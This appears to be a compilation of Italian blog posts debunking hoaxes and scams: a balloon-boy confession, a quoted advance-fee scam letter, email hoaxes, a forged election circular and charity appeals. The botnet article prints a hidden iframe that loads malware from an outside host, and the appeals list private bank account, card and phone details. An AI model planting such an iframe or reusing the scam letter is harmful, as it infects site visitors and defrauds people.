USA: MADRE BIMBO VOLATO IN MONGOLFIERA “ERA UNA BUFALA”

(AGI) – Los Angeles, 24 ott. – Una “bufala” inventata con il marito per fare pubblicita’ a tutta la famiglia e riuscire a guadagnarsi l’attenzione delle televisioni. E’ la confessione di Mayumi Heene, la mamma del ‘baloon boy’, il bambino che tutta l’America ha creduto trascinato in cielo in una mongolfiera il 15 ottobre mentre se ne stava nascosto in garage. Lo ha riferito la Bbc citando gli atti giudiziari che sono stati resi pubblici negli Stati Uniti. Abbiamo organizzato tutto con 15 giorni di anticipo e avevamo costruito la mongolfiera proprio per realizzare il nostro piano, ha ammesso la donna. Mayumi e il marito hanno poi detto ai loro tre figli di tenere tutto nascosto, e’ scritto negli atti. Ora i due rischiano fino a sei anni di carcere per diverse accuse tra cui cospirazione, istigazione a delinquere di minore a falsa testimonianza.

fonte AGI  Zec

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ATTENZIONE TRUFFA BUFALA HOAX ! MALIKAN NANCY DOMANDA LA VOSTRA ATTENZIONE

ATTENZIONE TRUFFA !

MALIKAN NANCY DOMANDA LA VOSTRA ATTENZIONE

Egregio Signor,
Vengo con la presente a sollecitare di vostra alta bienveillance, un’assistenza di grande importanza.
Nomino Signora KOFFI MALIKA NANCY, io sono la ragazza di fuoco Dr. KOFFI JEAN FRANCOIS, ex Direttore delle miniere della Repubblica della Guinea. Mio padre fu assassinato da ribelli di Sam Bockary durante una visita in un sito di sfruttamento d’oro e di diamante situato a 230 KM di CONAKRY, la capitale del nostro paese.

Dopo il decesso di nostro padre, la vita è diventata molto difficile per noi dato che eravamo costantemente minacciati dai ribelli. Tenuto conto di questa situazione difficile, la mia madre si è sistemata con uno dei migliori amici di mio padre defunto per farci lasciare il paese. La mia madre ha dunque preso su essa tutti i beni di mio padre che si trovavano alla casa precisamente in la sua cassa forte e tutti i suoi documenti importanti che ha portato con me in Costa d’Avorio.

Siamo attualmente in Costa d’Avorio con beni compresa la somma di un milioni di Euro (€) gli Stati Uniti poiché non conosciamo nessuno in Costa d’Avorio, la mia madre ha deciso di depositarli in una società privata di sicurezza del posto per salvaguardarli e proteggere quest’importante somma di denaro che non possiamo conservare su noi all’hotel.

Tenuto conto del clima politico instabile in Costa d’Avorio e che la nostra famiglia è molto conosciuta in sotto regione, la mia madre ha deciso di cercare un partner per investire questa somma fuori del continente in settori proficui, è dunque la ragione per la quale veniamo verso voi per sollecitare la vostra assistenza ed aiutarli ad investire nel vostro paese.

Il migliore metodo per concludere questa transazione vista la tensione politica in Costa d’Avorio, sarebbe di spedire i fondi nel vostro favore nel vostro paese. Subito dopo l’arrivo di questi fondi in nel vostro paese, li recupererete e li salvaguarderete ed impegnerete i passi per aiutarli a venire ad installarsi nel vostro paese.

Li abbiamo previsti per voi 15% della somma totale dei miei beni.
Risponde-moi non appena possibile.

Saluti.
MALIKA NANCY

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Mourinho, bufala sul web: “Scrivimi e ti do 1 milione di $”

In Inghilterra in migliaia non hanno resistito al messaggio di posta elettronica, spedito dall’indirizzo jose_mourinho1@ovi.com, che diceva: “Ho un milione di dollari da regalare. Se fai parte di un’organizzazione no profit, mandami i tuoi dati”

Da bufale

Sareste in grado di dire di no a Josè Mourinho? A una sua mail che vi propone di mettervi in contatto con lui? Appassionati del pallone e donne ammaliate dal fascino del bel Josè proprio non ce la farebbero… E infatti in Inghilterra, in migliaia non hanno resistito al messaggio di posta elettronica spedito dall’indirizzo jose_mourinho1@ovi.com.

“Ciao, probabilmente ti sorprende un po’ ricevere questa mail se finora hai solo letto o sentito parlare di me e non mi conosci di persona. Beh, sono Josè Mourinho”. Comincia così l’ultima hoax su Internet, la nuova bufala che corre in rete oltremanica, con Mourinho che si presenta, con tanto di dati anagrafici, per poi snocciolare – in un inglese davvero poco special – la sua carriera da allenatore, con rimandi al suo sito ufficiale e pure a quello dell’Inter. Per poi arrivare al punto di fare un’offerta stupefacente: “Ho un milione di dollari da regalare. Se fai parte di un’organizzazione no profit, mandami i tuoi dati”.

Chiaramente la casella di posta si è intasata in pochi minuti di messaggi da associazioni di volontariato vere e false, furbetti che ci provano e semplici tifosi. Ma quei messaggi a Mourinho, quello vero, non sono mai arrivati. Solo uno scherzo, con qualche sospetto di truffa vista la richiesta di dati personali. Peccato perché l’idea del milione in regalo era buona. Se qualcuno ha la mail di Mourinho, gliela proponga.

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Nuovo attacco ai server web Linux, botnet via iframe apache e nginx

Denis Sinegubko, si occupa di sicurezza in Russia, ha scoperto un gruppo di circa 100 server Linux infetti (una botnet) interconnessi tra loro. Si tratta di un gruppo di server web infetti e connessi tra loro che diffondono malware, con lo scopo di creare una rete di computer (server web) che infettano i visitatori di siti web, questa attività è stata scoperta analizzando alcuni server con installato apache con password di root facili, combinando mediante la tecnica iframe server esterni con installato il server nginx si è potuto inserire con successo nelle pagine stringhe all’interno del server vittima fatte in questa maniera :

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Tale tecnica non fa altro che aumentare le macchine zombie.

Cosa avviene in parole semplici :

i server infetti osservati da Sinegubko legittimano il traffico web sulla porta 80,
la porta standard tcp per le connessioni al server. Il server rogue che gira avendo  installato nginx  potente server  http e un mail proxy  server sviluppato in russia da Igor Sysoev fa in modo che i computer degli utenti vengano infettati.
A complicare le cose e per aumentare la potenza virale ci si è messo pure l’aggiunta di reti basate su servizi che permettono la rintracciabilità di un computer in rete, ciò significa che esiste una rete di server tracciabile e una rete di computer che potenzialmente non avendo hosting fisso possono cambiare rapidamente dislocazione geografica.

Il tutto significa che nel momento in cui si lancia un comando alla botnet tutti i server infetti rispondono.

Secondo Sinegubko la responsabilità di tale diffusione è tutta degli amministratori di rete che mettono password poco sicure o che non proteggono il traffico di rete da eventuali sniffaggi di password di root.

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Appello vero aiutiamo Michela !

Da appelli

Appello vero aiutiamo Michela

Dal 16.07.09 è stato aperto un conto corrente,per aiutare la piccola Michela si possono utilizzare questi riferimenti :
Banca Popolare di Lodi  cc intestato a Zappala’ Stefania causale Donazione per la Piccola Michela
n° cc 000000000403
Cod. Iban IT16A0516483890000000000403

in data 25 nov 2009 la mamma di Michela comunica

Buona sera sono la mamma della piccola Michela ,volevo informarla che a causa di una truffa online ho dovuto annullare il numero di postpay che usavo per la raccolta fondi della bambina ,quindi il numero di postpay si deve cancellare dall’appello qualora dovessi farne un altra le comunichero’ il nuovo numero

grazie mille e spero di sentirla presto

ATTENZIONE LA POSTEPAY NON E’ PIU’ VALIDA PER EFFETTUARE DONAZIONI !

In alternativa si può effettuare una donazione sulla post pay
N ° 4023 6004 6415 3792 intestata  a  Zappala’ Stefania
LA POSTPAY PUO’ ESSERE CARICATA PRESSO LE RICEVITORIE SISAL, ALLA POSTA,O  tramite il  seguente link www. POSTE.IT (nel caso si e’ registrati al portale di poste italiane )
Ti ringrazio in anticipo per il tuo contributo grazie.

Mi presento:

CIAO SONO MICHELA

Sono una bambina che ha  tanta voglia di giocare e di scoprire il mondo che mi circonda,

ma ancora non ho avuto la gioia di correre con gli altri bambini perche’  ancora non so camminare

non perche’ non ne abbia voglia ma perche’ non posso.

Sono nata troppo piccolina e la mancanza di ossigeno mi ha causato una paralisi cerebrale,

ma io non ho perso la speranza perche’ la mia mamma  ha fatto tante ricerche e un mese fa mi ha portato in

Slovacchia in una clinica chiamata Adeli dove aiutano i bambini come me a camminare e a correre.

NON FANNO MIRACOLI !!!!  CI VUOLE TANTO LAVORO E BUONA VOLONTA’ E QUESTA IO CE L’ HO.

Purtroppo l’ unica difficolta’  e’ che dobbiamo affrontare tante spese economiche ed e’ per questo che chiedo il vostro aiuto.

A presto Michela

MIA FIGLIA STA MALE, AIUTATECI “

Una donazione potrà permettere a una bella bambina di 6 anni di Bronte di camminare. E’ quanto spera la mamma Stefania Zappalà, (cui per l’appunto è intestato il conto), che ha aperto la sottoscrizione al fine di raccogliere fondi e curare la figlia Michela in una clinica di Piestany nella Repubblica Slovacca a centoquaranta chilometri da Vienna. Michela, infatti, è stata fatta nascere al settimo mese e mezzo dai medici dell’ospedale Garibaldi di Catania, che si sono accorti come il cordone ombelicale della bambina si fosse annodato con quello della sorellina gemella.Nonostante la tempestività dell’intervento, la mancanza di ossigeno ha provocato purtroppo a Michela un danno cerebrale che non le ha permesso di camminare. La mamma ci dice che le cure effettuate in Italia non hanno fornito i risultati sperati. In slovacchia, invece, attraverso terapie innovative e soprattutto l’utilizzo di una speciale tuta medicale chiamata “Adeli”, che indossavano gli astronauti russi per evitare gli effetti dannosi sul cervello e sul sistema nervoso centrale per la mancanza di gravità, Michela anche se assistita da tutori si è alzata. I medici slovacchi – ci dice la signora Zappalà – mi hanno dato buone speranze di guarigione per la bambina e allora ho aperto questa sottoscrizione affinchè chiunque volesse, riuscisse ad aiutare la mia bambina”. “Le terapie, infatti – continua la donna – sono lunghe e vanno fra l’altro ripetute anche ogni tre mesi, ma soprattutto essendo effettuate all’estero sono molto costose e quindi i genitori confidano nella generosità di tutti noi”.
Per informazioni su Michela è consultabile il sito : www.michela03.beepworld.it
Articolo  di  Getano Guidotto “La Sicilia” del 30  Giugno  2009

“E’ immobile dalla nascita, una speciale tuta spaziale pou’ far camminare Michela “Michela è una bambina di 6 anni nata prematuramente il 2 Febbraio 2003. A causa di una paralisi celebrale, dovuta ad uno scarso afflusso di ossigeno al cervello nei momenti cruciali della nascita, purtroppo non è in grado di camminare. In Italia le cure non hanno dato risultati tangibili, ma la speranza è riaffiorata in seguito ad un ciclo di cure in Slovacchia, nella città di Piestany, a circa 140 km da Vienna. La cura “Adeli”, nei 2 mila casi europei in cui è stata applicata, ha sortito effetti quasi miracolosi, portando netti miglioramenti alla vita del paziente nel 95-97% dei casi.Il metodo Adeli è una cura innovativa, che in Italia non viene praticata; essa cura i disturbi del movimento di origine neurologica e neuromuscolare, i pazienti indossano una speciale tuta molto simile a quella usata dagli astronauti per annullare gli effetti dannosi sul sistema nervoso a causa dell’assenza di gravità. Michela dovrebbe sottoporsi a circa 5 cicli l’anno, ma sono i costi esorbitanti a frenare un pò le speranze: 6-7 mila euro l’uno, compresi volo e alloggio.

E’ per questo che la famiglia ha chiesto aiuto e solidarietà.

Per informazioni su Michela è consultabile il sito : www.michela03.beepworld.it

Articolo  di Melania Sorbera  “ Giornale di  Sicilia” del 16 Giugno 2009

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40 anni dallo sbarco sulla Luna: feste, dubbi, ricordi

Wine Label

Il 20 luglio 1969 si compiva “un piccolo passo per un uomo, un grande balzo per l’umanità”. L’Apollo 11 sbarcava sulla Luna e Neil Armstrong pronunciava la celebre frase.
Nel quarantennale dell’evento si rincorrono celebrazioni, ricordi e tuttora sospetti che sia stato tutto una bufala. E una domanda, che in molti si fanno: se Buzz Aldrin, l’astronauta che per secondo “toccò Luna”, si vede dappertutto in tv e media vari intervistato su memorie e sensazioni (qui ospite al TG1), che fine ha fatto Armstrong? No, non è morto. E non è quello al Tour de France. L’eroe inafferrabile, come lo definisce il Telegraph, preferisce la riservatezza, ritirato nella sua fattoria in Ohio. Vive la celebrità come un fastidio. E quasi con frustrazione: è stato anche pilota militare, lettore universitario in aeronautica, direttore d’azienda, ma la sua vita viene sempre ricondotta solo a quella camminata di due ore e mezza sulla superficie lunare.
Neanche Aldrin ha avuto un’esistenza facile dopo l’allunaggio. È caduto nell’alcolismo e, come ha detto al Guardian, è stato difficile per lui riempire lo spazio lasciato… dallo spazio. Micheal Collins, il terzo dell’equipaggio, nato a Roma, spesso dimenticato perché non scese sulla Luna ma dal modulo orbitante fece da collegamento con la Terra, se ne vive con la moglie – unico non divorziato dei tre – tra Florida e North Carolina.
Intanto anche il popolo di Twitter celebra il “moon landing”.  “Faccio una torta a tema sullo sbarco sulla Luna. Cioccolato e crema di burro. Molto emozionata per questo!” scrive amykatehorn. 2guystalking propone di guardare i cinque migliori film di astronautica di sempre per ricordare l’evento. Ma c’è anche amarezza. look_both_ways scrive: “Il 20 luglio sono 40 anni dal nostro presunto allunaggio: guarda quanto abbiamo fatto da allora! – sarcasmo -”.

D’altronde sono in molti a credere che l’approdo sulla Luna sia stata una finzione, costruita in studi cinematografici per dare una dimostrazione di forza americana all’allora URSS, in piena Guerra Fredda (su Wired un audio con astronomi americani che seguono concitati la rotta della sonda sovietica Luna 15, inviata sulla Luna per precedere – invano – l’impresa USA). Provate a cercare su Google “Apollo moon hoax” (hoax = bufala) e compariranno quasi tre milioni di risultati. Tra i vari, il filmmaker di Nashville Bart Sibrel, da esperto di tecniche cinematografiche, ha raccolto le sue teorie sulle presunte menzogne della NASA nel documentario A Funny Thing Happened on the Way to the Moon (qui un estratto video da YouTube) e denuncia i propagandismi NASA anche sul sito www.moonmovie.com.
Dal canto suo, la NASA, che proprio pochi giorni fa ha inviato un orbiter attorno alla Luna, è in festa e sul suo portale dedica un grande spazio all’anniversario. E anche l’Italia festeggia. Così:

– Roma FictionFest si è aperta con Moonshot – The Flight of Apollo 11, diretto da Richard Dale, un film-documentario arricchito di immagini inedite sul primo allunaggio.
– Il Museo Civico di Rovereto (TN) dal 21 maggio al 31 luglio 2009 ospita la mostra “Back to the Moon – Ritorno alla Luna“.
– Alle Cave Michelangelo di Carrara l’11 luglio arte, musica e scienza, con padrino l’astronauta Umberto Guidoni.
– Mostra itinerante “Luna 1969. Qui base Tranquillità. Aquila è atterrata“, realizzata dal gruppo “explorart. Idee per la Cultura”, con immagini dall’archivio NASA e documentario video NASA gradi missioni: l’atterraggio dell’Eagle (16–19 luglio a San Vito dei Normanni, Br; 20–21 luglio a Lecce).

fonte: panorama link qui

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APPELLO VERO AIUTIAMO RICCARDO !

APPELLO VERO AIUTIAMO RICCARDO !

conto corrente :
MILVA MIHAYLOVA causale: DONAZIONE PER RICCARDO
BANCA INTESA SANPAOLO CC 615314379541
cod. IBAN : IT88L0306922807615314379541


Ciao mi chiamo RICCARDO BELLANI, sono nato il 1082004 e ahimè dopo i mesi stupendi passati nella pancia della mia mamma durante il parto succede la catastrofe, per un distacco della placenta e del cordone ombelicale improvvisa vengo alla luce privo dei parametri vitali,rianimato e intubato passo nel reparto di terapia intensiva neonatale il mio primo mese di vita,ma anche una volta a casa sino ad aprile del 2005 è un continuo via vai dall’ospedale,per problemi respiratori e polmoniti varie,vengo alimentato con sondino gastrico per circa 10 mesi,inoltre gia da subito iniziano a comparire anche delle crisi epilettiche,fortunatamente senza perdita di conoscenza, della durata di circa 5 minuti ma con intervalli di 2 -3 gg da una crisi all’altra,ricoverato a luglio del 2005 all’ISTITUTO NAZIONALE NEUROLOGICO CARLO BESTA di Milano per circa un mese e mezzo per gli accertamenti del caso,e curato con dose massiccia di cortisone ( vi lascio immaginare gli effetti collaterali avuti) riusciamo a far scomparire quasi del tutto le crisi. In conclusione mi viene diagnosticato la SINDROME DI WEST SECONDARIA A GRAVE ENCEFALOPATIA FETOCONNATALE,in parole povere la mancanza di ossigeno dovuto ai problemi del parto ha causato danni ad uno dei due ventricoli celebrali distruggendone le cellule,causandomi una mancanza totale di coordinamento motorio,del capo delle arti inferiori e superiori,con associato problemi visivi e uditivi,a detta dei medici in modo permanente

i genitori desiderano questa cura per il loro piccolo :

La OHNC (è la clinica situata in Florida ) è riconosciuta come terapia leader nel mondo nell’ aiutare i pazienti affetti da alcune delle più debilitanti condizioni celebrali, (a), ictus, (b), trauma cranico, (c) anossiche encefalopatia ischemica, (d), coma e (e ) Paralisi cerebrale infantile.

Nella HBOT ( la terapia hyperberic oxsigen therapy ) moderna, il paziente respira ossigeno puro, 100% sotto maggiore pressione atmosferica. L’aria che respiriamo normalmente contiene solo 19-21% di questo elemento essenziale; via HBOT, la concentrazione di ossigeno puro disciolto nel sangue è aumentato drasticamente (fino al 2000%), praticamente senza spese di energia. In aggiunta a sangue, tutti i fluidi corporei – tra cui la linfa vitale e i fluidi cerebrospinale. Questo ossigeno può quindi: (a), raggiungere il tessuto osseo che sono inaccessibili ai globuli rossi, (b) a migliorare globuli bianchi a funzionare meglio, e (c) a promuovere la formazione di nuovi capillari e vasi sanguigni periferici.Il risultato è un aumento del controllo delle infezioni, e una veloce guarigione ad una vasta gamma di condizioni.

HBOT richiede una prescrizione, ed è approvato dalla American Medical Association (AMA), la Food & Drug Administration (FDA). E ‘tipicamente usato come parte di un piano di trattamento medico, per varie malattie o infortuni connessi con ipossia, o una mancanza di ossigeno a livello cellulare. E ‘a questo livello dei tessuti cellulari dove si svolge la vita.
Quando questa terapia viene somministrata da medici proffessionisti del settore,la HBOT è estremamente sicura ed molto efficace.

Come risultato la HBOT prevede,che le cellule dormienti del cervello,in penombra vengono risvegliate e quindi a funzionare di nuovo.A differenza dando ad un paziente ossigeno puro a pressione normale,questo non è in grado di immettere ossigeno sufficiente né al sangue e nel liquido cerebrospinale.Ma l’HBOT, può migliorare questa mancanza di ossigeno. Spesso, questa maggiore ossigenazione aiuta a ripristinare il paziente ad un stato consapevole In alcuni casi, essa consente anche al paziente di recuperare da un danno cerebrale dopo effetti come paralisi e perdita discorso.

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Falsa circolare del Ministero getta il Pdl nel caos

Recapitata a Giovanni Salizzoni da Rino Senatore, l’oste del “Naso e gola” che nel 2007 aveva spedito lettere minacciose siglate “Pcc” a Cofferati

Non bastavano il Corvo numero 1 e il Corvo numero 2. Ora spunta anche il Corvo numero 3. La campagna elettorale per Palazzo d’A ccursio si tinge ancora una volta di “giallo”. Già, perché come se non bastasse tutta la bufera, politica e giudiziaria, che si è scatenata in città dopo la diffusione del documento che riportava il patteggiamento di Alfredo Cazzola, in cui sono stati coinvolti gli uomini più vicini a Guazzaloca, ora a rendere ancora più agitate le acque in vista del voto spuntano anche false lettere che cambiano le regole elettorali, spedite per email da persone sconosciute, ma che gettano ugualmente nel panico, per una giornata, il Pdl bolognese.

Si scopre infatti che la “mano” che ieri ha allungato a Giovanni Salizzoni, ex guazzalochiano e ora capolista del Pdl, una circolare del Ministero degli Interni che stravolgerebbe il sistema delle preferenze — tanto da far dire all’ex vicesindaco “mi hanno incastrato” — è quella di Rino Senatore, il 38enne nato in Svizzera, oggi uomo della nuova Dc, già finito in carcere per le missive minacciose a firma “Pcc”, nella primavera del 2007, al sindaco Cofferati. Ma anche per l’incendio doloso da lui appiccato a un’auto dietro il palazzo dove abitava il portavoce del sindaco.

Un fax con il testo falso della circolare del ministero dell’I nterno spedito a Salizzoni è partito infatti dall’osteria di Senatore, il “Naso e Gola”. Un falso su carta intestata che getta nel panico molti candidati. Finché dopo verifiche dalla Prefettura arriva il disco rosso: “Quella lettera è una bufala”. E le carte vanno subito in Questura. Senatore lo ammette senza problemi e dice che quel documento gli è arrivato via email giorni fa.

“Io sono il delegato politico della lista Democrazia Cristiana-Terzo Polo, per la quale si candida Savio Ciciriello, che è qui con me”, dice l’oste-politico. La lista sostiene la candidatura a sindaco di Cazzola. “L’altra sera ci siamo incontrati con Salizzoni e poi lui questa mattina mi ha chiesto di inviarglielo. La posta elettronica aveva dei problemi e così ho usato il fax”. Senatore e Ciciriello spiegano poi che con Salizzoni si vedono spesso, perché “siamo coalizzati”, dicono.

Sul falso documento, tre pagine datate 12 gennaio, si legge che “l’e lettore può votare per una delle liste tracciando un segno sul relativo contrassegno”, ma “il voto così espresso non si intende attribuito anche al candidato sindaco collegato”. Salizzoni, in mattinata, lancia l’allarme sul documento: “Me lo ha allungato una persona che non conosco, a una riunione politica”.

Poi in serata, Senatore fornisce la sua verità e anche lo stesso Salizzoni vuota il sacco. Giustificando il fatto di non aver rivelato il nome di chi gli ha dato il documento, cioè Senatore, proprio perché quest’ultimo lo aveva ricevuto “da una persona che non conosce. Quindi gli ho detto di rintracciare l’utenza e anche nel suo interesse trovarla — spiega Salizzoni — Senatore l’ho conosciuto l’altra sera, all’inaugurazione della sede elettorale di Ciciriello”. E dei trascorsi dell’oste? Salizzoni dice di non sapere nulla. “Inoltre mi sono accorto che nell’intestazione c’è scritto Potenza”.

(23 maggio 2009)
fonte repubblica
http://bologna.repubblica.it/dettaglio/falsa-circolare-del-ministero-getta-il-pdl-nel-caos/1638644
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DROGA: “OCCHIO ALLA BURUNDANGA”, MA E-MAIL E’ UNA BUFALA

Basta un poco di zucchero...
Una “nuova droga” dal nome esotico (“burundanga”). Che, cosparsa su un comune biglietto da visita, sarebbe in grado di stordire chiunque la tocchi, esponendolo al rischio di rapine, furti, violenze sessuali. L’allarme parte da una e-mail che nelle ultime settimane rimbalza da pc in pc nelle case e negli uffici di mezza Italia: raccomandando alle potenziali vittime – donne in testa – la massima cautela. E invitando il destinatario di turno a inoltrare il warning “a tutti i propri contatti” in una sorta di catena di sant’Antonio virtuale. Ma il pericolo e’ reale? “A noi non risulta niente del genere”, e’ la replica che arriva dal quartier generale della Direzione centrale per i servizi antidroga. Dove, ricevuta la segnalazione, hanno inserito il nome del presunto narcotico nel “cervellone” che raccoglie, giorno dopo giorno, i dati di tutti i sequestri e di tutti gli arresti effettuati da carabinieri, poliziotti e finanzieri (anche all’estero, in collaborazione con i colleghi degli altri Paesi), senza trovare uno straccio di riscontro. Ecco allora prendere corpo – fino a sconfinare nella certezza – il sospetto che quella raccontata nella e-mail sia solo l’ultima di una lunga serie di web-leggende metropolitane. Ad alimentare i dubbi sono la “trama”, decisamente improbabile (una donna che si ferma a fare benzina, un sedicente imbianchino che le allunga il proprio indirizzo, la fuga in auto con la vista che si annebbia e il respiro che si fa sempre piu’ corto); la “location”, una non meglio precisata localita’ svizzera (peccato che il canovaccio torni praticamente identico in altri analoghi episodi, ambientati pero’ in Canada e in Gran Bretagna); l’asserita conferma (in realta’ puntualmente smentita) “di quasi tutte le polizie europee”. (AGI)
(27 marzo 2009 ore 15.31)
Fonte agi e
http://napoli.repubblica.it/dettaglio-news/roma-15:31/3616896
buruganda , BURUGANDA
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appello vero aiutiamo il piccolo Kevin Angelo

appello vero aiutiamo il piccolo Kevin Angelo
chiunque volesse essere vicino alla famiglia del piccolo può effettuare una donazione sul :

CONTO CORRENTE POSTALE INTESTATO A SEDDA GIOVANNA MICHELA
per un contributo per kevin: c/c postale intestato a :sedda giovanna michela numero 23302078 CODICE IBAN :IT31 N076 0117 2000 0002 3302 078 GRAZIE
INFORMAZIONI PIU DETTAGLIATE TEL.3287627026
ALESSANDRO VETRUCCIO
Da appelli
Caissimi amici e amiche io sono il piccolo Kevin Angelo, ho quasi 3 anni. Dalla nascita soffro e giro tanti ospedali… Nei primi 16 mesi di vita ho subito 4 interventi (reni,cuore,tumore in vescica,e organo genitale),nei mesi tra Ottobre 2007 e Marzo 2008 è stata fatta una raccolta fondi di 50,000 euro perchè partissi ad Aprile 2008 a Bangkok perchè potessi fare un trapianto di cellule staminali e ringrazio ancora con tutto il mio cuoricino chi mi ha aiutato! Scusate mi sono dimenticato di dirvi che da giugno 2007 hanno riscontrato una TETRAPARESI SPASTICA e in piu il mese scorso hanno scoperto che sono anche un ippovedente.Ritornando a Bangkok sono riuscito a fare il mio viaggio della speranza è ho riscontrato piccoli cambiamenti che per noi sono grandi…La mia vita non è delle migliori infatti ora scrivo a tutti voi per avere un ulteriore aiuto vi chiedo di contribuire attraverso una piccola raccolta perchè mi piacerebbe provare un’altra terapia che purtroppo richiede 10,000 euro da fare a PRAGA si tratta di capsule di amminoacidi da prendere per 6 mesi 4 al giorno ci sarà una permanenza a Praga per sottopormi prima ad un controllo generale…
Metterò nella bacheca mia delle foto la documentazione di kevin e il foglio della clinica di Praga dove parla di questa terapia numeri di telefono e indirizzi di posta elettronica per finire abbiamo un CONTO CORRENTE POSTALE INTESTATO A SEDDA GIOVANNA MICHELA NUMERO :23302078 E PER CHIUNQUE VOGLIA INFORMAZIONI PIU DETTAGLIATE TEL.3287627026 ALESSANDRO VETRUCCIO,io credo nel vostro buon cuore, e vi prego fate girare questo messaggio a più persone possibile grazie ancora a tutti……………
Ps: Se andate nelle mie foto c’è ne alcune fatte a Bangkok… Spero di sentirvi presto promettendovi di tenervi aggiornati!

link al gruppo facebook
http://www.facebook.com/group.php?gid=56097815661

rif.

http://www.beike.ch/20081217270/Kevin-Angelo-V.-2-years-old-Sassari-IT-Spastic-Tetraplegic-Optic-Nerve-Hypoplasia.html

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